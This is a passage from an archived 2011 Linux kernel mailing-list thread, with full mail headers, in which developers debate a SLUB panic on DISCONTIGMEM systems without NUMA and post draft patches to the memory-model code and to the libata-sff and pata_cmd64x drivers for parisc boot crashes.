	Tue, 19 Apr 2011 14:48:38 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id i5ReSwQUWzp2; Tue, 19 Apr 2011 14:48:38 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C7DDE8EE01D;
	Tue, 19 Apr 2011 14:48:37 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104191627040.23077@router.home>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3591 gmane.linux.kernel.mm:61625 gmane.linux.kernel:1128746
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3591>

On Tue, 2011-04-19 at 16:39 -0500, Christoph Lameter wrote:
> On Tue, 19 Apr 2011, James Bottomley wrote:
> 
> > > I guess DISCONTIGMEM is typically used together with NUMA. Otherwise we
> > > would have run into this before.
> >
> > Which bit of my telling you that six architectures already use it this
> > way did you not get?  I'm not really interested in reconciling your
> > theories with how we currently operate.  If you want to require NUMA
> > with DISCONTIGMEM, fine, we'll just define SLUB as broken if that's not
> > true ... that will fix my boot panic reports.
> 
> Which part of me telling you that you will break lots of other things in
> the core kernel dont you get?

I get that you tell me this ... however, the systems that, according to
you, should be failing to get to boot prompt do, in fact, manage it.

>  If you were able to get to a command prompt
> with SLAB then lets all be happy for as long as it lasts.

We can't re-engineer DISCONTIGMEM as a bug fix, so something like this
has to be done for stable regardless.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: slub: fix panic with DISCONTIGMEM
Date: Tue, 19 Apr 2011 16:52:50 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <1303249970.11237.30.camel@mulgrave.site>
References: <1303248576.11237.23.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191633250.23077@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303249985 26973 80.91.229.12 (19 Apr 2011 21:53:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 21:53:05 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-mm@kvack.org, 
 "hugh.dickins@tiscali.co.uk" <hugh.dickins@tiscali.co.uk>, Parisc List
 <linux-parisc@vger.kernel.org>
To: Christoph Lameter <cl@linux.com>
Original-X-From: owner-linux-mm@kvack.org Tue Apr 19 23:52:59 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCIqx-0007pj-3n
	for glkm-linux-mm-2@m.gmane.org; Tue, 19 Apr 2011 23:52:59 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 3E3488D0040; Tue, 19 Apr 2011 17:52:57 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 0F0368D003B; Tue, 19 Apr 2011 17:52:56 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 0E4B18D0040; Tue, 19 Apr 2011 17:52:55 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail203.messagelabs.com (mail203.messagelabs.com [216.82.254.243])
	by kanga.kvack.org (Postfix) with SMTP id ADFEF8D003B
	for <linux-mm@kvack.org>; Tue, 19 Apr 2011 17:52:54 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: James.Bottomley@HansenPartnership.com
X-Msg-Ref: server-2.tower-203.messagelabs.com!1303249970!21595679!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [66.63.167.143]
X-SpamReason: No, hits=0.0 required=7.0 tests=
Original-Received: (qmail 24553 invoked from network); 19 Apr 2011 21:52:50 -0000
Original-Received: from bedivere.hansenpartnership.com (HELO bedivere.hansenpartnership.com) (66.63.167.143)
  by server-2.tower-203.messagelabs.com with SMTP; 19 Apr 2011 21:52:50 -0000
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3544C8EE0F5;
	Tue, 19 Apr 2011 14:52:53 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id FjuSy771Pc2W; Tue, 19 Apr 2011 14:52:53 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E8CAA8EE01D;
	Tue, 19 Apr 2011 14:52:51 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104191633250.23077@router.home>
X-Mailer: Evolution 2.32.1 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61626 gmane.linux.kernel.cross-arch:9612 gmane.linux.ports.parisc:3592
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61626>

On Tue, 2011-04-19 at 16:38 -0500, Christoph Lameter wrote:
> On Tue, 19 Apr 2011, James Bottomley wrote:
> 
> > Slub makes assumptions about page_to_nid() which are violated by
> > DISCONTIGMEM and !NUMA.  This violation results in a panic because
> 
> Fix this by stating correctly by saying "The kernel makes assumptions in
> various subsystems ..."

Slub is a subset of the kernel, so the original wording is a bit more
precise.

> > page_to_nid() can be non-zero for pages in the discontiguous ranges and
> > this leads to a null return by get_node().  The assertion by the
> > maintainer is that DISCONTIGMEM should only be allowed when NUMA is also
> > defined.  However, at least six architectures: alpha, ia64, m32r, m68k,
> 
> That is not what I said. DISCONTIG support needs to be fixed so that the
> core subsystems using page_to_nid() will operate correctly with a !NUMA
> discontig configuration. Core will expect page_to_nid() to only return 0
> on !NUMA.

Well, we can discuss how to proceed going forwards.  The current fact is
that any prior kernel that enables SLUB with DISCONTIGMEM and !NUMA will
eventually go boom when the page allocator returns a page not in the
first pfn array.  That has to be fixed in -stable.  I don't really think
a DISCONTIGMEM re-engineering effort would be the best thing for the
-stable series.

James


--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 16:58:22 -0500 (CDT)
Lines: 101
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104191657030.26867@router.home>
References: <20110415135144.GE8828@tiehlicka.suse.cz>  <alpine.LSU.2.00.1104171952040.22679@sister.anvils>  <20110418100131.GD8925@tiehlicka.suse.cz>  <20110418135637.5baac204.akpm@linux-foundation.org>  <20110419111004.GE21689@tiehlicka.suse.cz> 
 <1303228009.3171.18.camel@mulgrave.site>  <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>  <1303233088.3171.26.camel@mulgrave.site>  <alpine.DEB.2.00.1104191213120.17888@router.home>  <1303235306.3171.33.camel@mulgrave.site> 
 <alpine.DEB.2.00.1104191254300.19358@router.home>  <1303237217.3171.39.camel@mulgrave.site>  <alpine.DEB.2.00.1104191325470.19358@router.home>  <1303242580.11237.10.camel@mulgrave.site>  <alpine.DEB.2.00.1104191530040.23077@router.home> 
 <1303248103.11237.16.camel@mulgrave.site>  <alpine.DEB.2.00.1104191627040.23077@router.home> <1303249716.11237.26.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303250318 28628 80.91.229.12 (19 Apr 2011 21:58:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 21:58:38 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
  Andrew Morton <akpm@linux-foundation.org>, Hugh Dickins <hughd@google.com>,
  linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
  linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-linux-mm@kvack.org Tue Apr 19 23:58:31 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCIwJ-0001rK-C1
	for glkm-linux-mm-2@m.gmane.org; Tue, 19 Apr 2011 23:58:31 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 8A2828D0040; Tue, 19 Apr 2011 17:58:29 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 58B748D003B; Tue, 19 Apr 2011 17:58:28 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 8B3908D0040; Tue, 19 Apr 2011 17:58:28 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail144.messagelabs.com (mail144.messagelabs.com [216.82.254.51])
	by kanga.kvack.org (Postfix) with SMTP id 887E28D003B
	for <linux-mm@kvack.org>; Tue, 19 Apr 2011 17:58:27 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: cl@linux.com
X-Msg-Ref: server-10.tower-144.messagelabs.com!1303250305!72907070!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [76.13.13.47]
X-SpamReason: No, hits=0.0 required=7.0 tests=UNPARSEABLE_RELAY
Original-Received: (qmail 1496 invoked from network); 19 Apr 2011 21:58:26 -0000
Original-Received: from smtp108.prem.mail.ac4.yahoo.com (HELO smtp108.prem.mail.ac4.yahoo.com) (76.13.13.47)
  by server-10.tower-144.messagelabs.com with SMTP; 19 Apr 2011 21:58:26 -0000
Original-Received: (qmail 98714 invoked from network); 19 Apr 2011 21:58:25 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp108.prem.mail.ac4.yahoo.com with SMTP; 19 Apr 2011 14:58:24 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: JZjOq18VM1lW0X_nPeCXq4GSVXE5gf0BJyOXvwePQMJKoNa
 6u5MdQjkUhMvM.lpRVeVZU4MdxUOI8z42SQSQH7xtlYgGQZiq8mSvnpaIwNM
 OJ0awN8OeZyDjwjjxAhY43sMuoQc2hA72U1nD5iucnVc8b7GR49nOSt1WIH1
 Pt9MrOHpsTbwiBBUYAUt55R199_AU3WEeQAyjf9XJR9F0osps9KEetER_lJG
 dNx07hb_q6Y.z87K3bEKyLqBGnhtp4b0cIiGVnrT7JWQfnBvyPqDlygyVXSF
 nFlgaa4SaBr_47jYgkInM3UxLSmy7mRRsjvjXlm4fu2CTr5uA
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCIwC-0006zc-2Q; Tue, 19 Apr 2011 16:58:24 -0500
X-X-Sender: cl@router.home
In-Reply-To: <1303249716.11237.26.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61627 gmane.linux.kernel:1128751 gmane.linux.ports.parisc:3593
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61627>

On Tue, 19 Apr 2011, James Bottomley wrote:

> > Which part of me telling you that you will break lots of other things in
> > the core kernel dont you get?
>
> I get that you tell me this ... however, the systems that, according to
> you, should be failing to get to boot prompt do, in fact, manage it.

If you dont use certain subsystems then it may work. Also do you run with
debuggin on.

The following patch is I think what would be needed to fix it.



Subject: [PATCH] Fix discontig support for !NUMA

Under NUMA discontig nodes map directly to the kernel NUMA nodes.

However, when DISCONTIG is used without NUMA then the kernel has only
one NUMA mode (==0) but within the node there may be multiple discontig pages
on various "nodes" for page struct vector management purposes.

Define a function __page_to_nid() that always extracts the node from
the page struct. This can be used in places where we need the discontig
node. Define page_to_nid() under !NUMA to always return 0. This ensures
that the various subsystems relying on page_to_nid(page) == 0 on !NUMA
function properly.

<Untested since I do not have a PARISC system. There could be
additional occurrences that need __page_to_nid>

Signed-off-by: Christoph Lameter <cl@linux.com>

---
 include/asm-generic/memory_model.h |    2 +-
 include/linux/mm.h                 |   10 ++++++++--
 mm/sparse.c                        |    2 +-
 3 files changed, 10 insertions(+), 4 deletions(-)

Index: linux-2.6/include/linux/mm.h
===================================================================
--- linux-2.6.orig/include/linux/mm.h	2011-04-19 16:43:53.822507013 -0500
+++ linux-2.6/include/linux/mm.h	2011-04-19 16:44:52.082506944 -0500
@@ -666,14 +666,20 @@ static inline int zone_to_nid(struct zon
 }

 #ifdef NODE_NOT_IN_PAGE_FLAGS
-extern int page_to_nid(struct page *page);
+extern int __page_to_nid(struct page *page);
 #else
-static inline int page_to_nid(struct page *page)
+static inline int __page_to_nid(struct page *page)
 {
 	return (page->flags >> NODES_PGSHIFT) & NODES_MASK;
 }
 #endif

+#ifdef CONFIG_NUMA
+#define page_to_nid __page_to_nid
+#else
+#define page_to_nid(x) 0
+#endif
+
 static inline struct zone *page_zone(struct page *page)
 {
 	return &NODE_DATA(page_to_nid(page))->node_zones[page_zonenum(page)];
Index: linux-2.6/include/asm-generic/memory_model.h
===================================================================
--- linux-2.6.orig/include/asm-generic/memory_model.h	2011-04-19 16:45:26.772506904 -0500
+++ linux-2.6/include/asm-generic/memory_model.h	2011-04-19 16:46:02.602506861 -0500
@@ -40,7 +40,7 @@

 #define __page_to_pfn(pg)						\
 ({	struct page *__pg = (pg);					\
-	struct pglist_data *__pgdat = NODE_DATA(page_to_nid(__pg));	\
+	struct pglist_data *__pgdat = NODE_DATA(__page_to_nid(__pg));	\
 	(unsigned long)(__pg - __pgdat->node_mem_map) +			\
 	 __pgdat->node_start_pfn;					\
 })
Index: linux-2.6/mm/sparse.c
===================================================================
--- linux-2.6.orig/mm/sparse.c	2011-04-19 16:44:58.432506937 -0500
+++ linux-2.6/mm/sparse.c	2011-04-19 16:45:07.332506926 -0500
@@ -40,7 +40,7 @@ static u8 section_to_node_table[NR_MEM_S
 static u16 section_to_node_table[NR_MEM_SECTIONS] __cacheline_aligned;
 #endif

-int page_to_nid(struct page *page)
+int __page_to_nid(struct page *page)
 {
 	return section_to_node_table[page_to_section(page)];
 }

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm
Subject: Re: slub: fix panic with DISCONTIGMEM
Date: Tue, 19 Apr 2011 17:04:31 -0500 (CDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104191702400.26867@router.home>
References: <1303248576.11237.23.camel@mulgrave.site>  <alpine.DEB.2.00.1104191633250.23077@router.home> <1303249970.11237.30.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303250687 30539 80.91.229.12 (19 Apr 2011 22:04:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 22:04:47 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-mm@kvack.org,
	"hugh.dickins@tiscali.co.uk" <hugh.dickins@tiscali.co.uk>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 00:04:36 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCJ2B-0004Sn-LG
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 00:04:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753653Ab1DSWEe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 18:04:34 -0400
Original-Received: from smtp110.prem.mail.ac4.yahoo.com ([76.13.13.93]:22866 "HELO
	smtp110.prem.mail.ac4.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1752184Ab1DSWEe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 18:04:34 -0400
Original-Received: (qmail 35830 invoked from network); 19 Apr 2011 22:04:33 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp110.prem.mail.ac4.yahoo.com with SMTP; 19 Apr 2011 15:04:33 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: WllP2AAVM1lICsRhRpxyqDsXbpL3tlx0Yi2w2vLMxCe4h9I
 OoIykrupTBP4jys8B0c8elAnhrbj1Vw2BNqYwzAN2RIwxpo0EASFFPS2.4so
 v9mp5Vf1EOwJimMPoGzaum5yU6bnjwxbBTErC9uxhJLfXqIEb5Z0o84wUDM3
 RSvyB9rDd6_DMFYOob8c0Jvn77h9rMdqLPKg4SfmkFu7L0kcP0nEsTqFdgZB
 vzjwThFvLSM64vtKynNUTP5998xVD485XMJg6i72g9Fnssz6Gfpe8ZvJ4tq9
 448L_rtMgyqTNPJBzZBIt.ey9.w1k98knPUvMXp99pbJfMfVj
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCJ28-00072y-MI; Tue, 19 Apr 2011 17:04:32 -0500
X-X-Sender: cl@router.home
In-Reply-To: <1303249970.11237.30.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3594 gmane.linux.kernel.cross-arch:9613 gmane.linux.kernel.mm:61628
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3594>

On Tue, 19 Apr 2011, James Bottomley wrote:

> On Tue, 2011-04-19 at 16:38 -0500, Christoph Lameter wrote:
> > On Tue, 19 Apr 2011, James Bottomley wrote:
> >
> > > Slub makes assumptions about page_to_nid() which are violated by
> > > DISCONTIGMEM and !NUMA.  This violation results in a panic because
> >
> > Fix this by stating correctly by saying "The kernel makes assumptions in
> > various subsystems ..."
>
> Slub is a subset of the kernel, so the original wording is a bit more
> precise.

F.e. hugepage support does the same thing. So it not slub specific.

> Well, we can discuss how to proceed going forwards.  The current fact is
> that any prior kernel that enables SLUB with DISCONTIGMEM and !NUMA will
> eventually go boom when the page allocator returns a page not in the
> first pfn array.  That has to be fixed in -stable.  I don't really think
> a DISCONTIGMEM re-engineering effort would be the best thing for the
> -stable series.

As far as I can tell: It will go boom even with other subsystems. I am
surprised that we have never seen this before.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ide,gmane.linux.ports.parisc
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on
 boot on parisc
Date: Tue, 19 Apr 2011 18:11:48 -0500
Lines: 130
Approved: news@gmane.org
Message-ID: <1303254709.11237.34.camel@mulgrave.site>
References: <1303152147.7167.12.camel@mulgrave.site>
	 <20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
	 <1303159802.7167.30.camel@mulgrave.site>
	 <20110418222017.4e77fe05@lxorguk.ukuu.org.uk>
	 <4DADF798.6010705@ru.mvista.com>
	 <20110419221900.67528a07@lxorguk.ukuu.org.uk>
	 <4DADFD2E.9070809@ru.mvista.com>
	 <20110419222838.6a6f36aa@lxorguk.ukuu.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303254719 17957 80.91.229.12 (19 Apr 2011 23:11:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 23:11:59 +0000 (UTC)
Cc: Sergei Shtylyov <sshtylyov@mvista.com>,
	linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: linux-ide-owner@vger.kernel.org Wed Apr 20 01:11:54 2011
Return-path: <linux-ide-owner@vger.kernel.org>
Envelope-to: lnx-linux-ide@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ide-owner@vger.kernel.org>)
	id 1QCK5K-0008Mv-2s
	for lnx-linux-ide@lo.gmane.org; Wed, 20 Apr 2011 01:11:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752121Ab1DSXLx (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
	Tue, 19 Apr 2011 19:11:53 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:43382 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752094Ab1DSXLw (ORCPT
	<rfc822;linux-ide@vger.kernel.org>); Tue, 19 Apr 2011 19:11:52 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A11D48EE0F5;
	Tue, 19 Apr 2011 16:11:51 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 0joUKiGabKJh; Tue, 19 Apr 2011 16:11:51 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E8CD48EE01D;
	Tue, 19 Apr 2011 16:11:50 -0700 (PDT)
In-Reply-To: <20110419222838.6a6f36aa@lxorguk.ukuu.org.uk>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:49350 gmane.linux.ports.parisc:3595
Archived-At: <http://permalink.gmane.org/gmane.linux.ide/49350>

On Tue, 2011-04-19 at 22:28 +0100, Alan Cox wrote:
> Beats me then. Whatever - its easy enough to work around and avoid
> exploding parisc and sparc so it definitely wants sorting

OK, so are we all agreed on this (I'll split it up into the cosmetic
libata piece and the cmd64x fix later)?

James

---

diff --git a/drivers/ata/libata-sff.c b/drivers/ata/libata-sff.c
index f8380ce..b1b926c 100644
--- a/drivers/ata/libata-sff.c
+++ b/drivers/ata/libata-sff.c
@@ -2447,13 +2447,18 @@ int ata_pci_sff_activate_host(struct ata_host *host,
 		return -ENOMEM;
 
 	if (!legacy_mode && pdev->irq) {
+		int i;
+
 		rc = devm_request_irq(dev, pdev->irq, irq_handler,
 				      IRQF_SHARED, drv_name, host);
 		if (rc)
 			goto out;
 
-		ata_port_desc(host->ports[0], "irq %d", pdev->irq);
-		ata_port_desc(host->ports[1], "irq %d", pdev->irq);
+		for (i = 0; i < 2; i++) {
+			if (ata_port_is_dummy(host->ports[i]))
+				continue;
+			ata_port_desc(host->ports[i], "irq %d", pdev->irq);
+		}
 	} else if (legacy_mode) {
 		if (!ata_port_is_dummy(host->ports[0])) {
 			rc = devm_request_irq(dev, ATA_PRIMARY_IRQ(pdev),
diff --git a/drivers/ata/pata_cmd64x.c b/drivers/ata/pata_cmd64x.c
index 905ff76..c39fd5a 100644
--- a/drivers/ata/pata_cmd64x.c
+++ b/drivers/ata/pata_cmd64x.c
@@ -41,6 +41,9 @@
 enum {
 	CFR 		= 0x50,
 		CFR_INTR_CH0  = 0x04,
+	CNTRL		= 0x51,
+		CNTRL_PRIMARY   = 0x04,
+		CNTRL_SECONDARY = 0x08,
 	CMDTIM 		= 0x52,
 	ARTTIM0 	= 0x53,
 	DRWTIM0 	= 0x54,
@@ -328,9 +331,17 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
 			.port_ops = &cmd648_port_ops
 		}
 	};
-	const struct ata_port_info *ppi[] = { &cmd_info[id->driver_data], NULL };
-	u8 mrdmode;
+	const struct ata_port_info *ppi[] = { 
+		&cmd_info[id->driver_data],
+		&cmd_info[id->driver_data],
+		NULL
+	};
+	u8 mrdmode, reg;
 	int rc;
+	struct pci_dev *bridge = pdev->bus->self;
+	/* mobility split bridges don't report enabled ports correctly */
+	int port_ok = !(bridge && bridge->vendor ==
+			PCI_VENDOR_ID_MOBILITY_ELECTRONICS);
 
 	rc = pcim_enable_device(pdev);
 	if (rc)
@@ -341,11 +352,15 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
 
 	if (pdev->device == PCI_DEVICE_ID_CMD_646) {
 		/* Does UDMA work ? */
-		if (pdev->revision > 4)
+		if (pdev->revision > 4) {
 			ppi[0] = &cmd_info[2];
+			ppi[1] = &cmd_info[2];
+		}
 		/* Early rev with other problems ? */
-		else if (pdev->revision == 1)
+		else if (pdev->revision == 1) {
 			ppi[0] = &cmd_info[3];
+			ppi[1] = &cmd_info[3];
+		}
 	}
 
 	pci_write_config_byte(pdev, PCI_LATENCY_TIMER, 64);
@@ -354,6 +369,21 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
 	mrdmode |= 0x02;	/* Memory read line enable */
 	pci_write_config_byte(pdev, MRDMODE, mrdmode);
 
+	/* check for enabled ports */
+	pci_read_config_byte(pdev, CNTRL, &reg);
+	if (port_ok)
+		dev_printk(KERN_NOTICE, &pdev->dev, "Mobility Bridge detected, ignoring CNTRL port enable/disable\n");
+	/* 643 and 646 no UDMA, primary port always enabled */
+	if (port_ok && id->driver_data > 1 && !(reg & CNTRL_PRIMARY)) {
+		dev_printk(KERN_NOTICE, &pdev->dev, "Primary port is disabled\n");
+		ppi[0] = &ata_dummy_port_info;
+		
+	}
+	if (port_ok && !(reg & CNTRL_SECONDARY)) {
+		dev_printk(KERN_NOTICE, &pdev->dev, "Secondary port is disabled\n");
+		ppi[1] = &ata_dummy_port_info;
+	}
+
 	/* Force PIO 0 here.. */
 
 	/* PPC specific fixup copied from old driver */
diff --git a/include/linux/pci_ids.h b/include/linux/pci_ids.h
index 4e2c915..7a0ac45 100644
--- a/include/linux/pci_ids.h
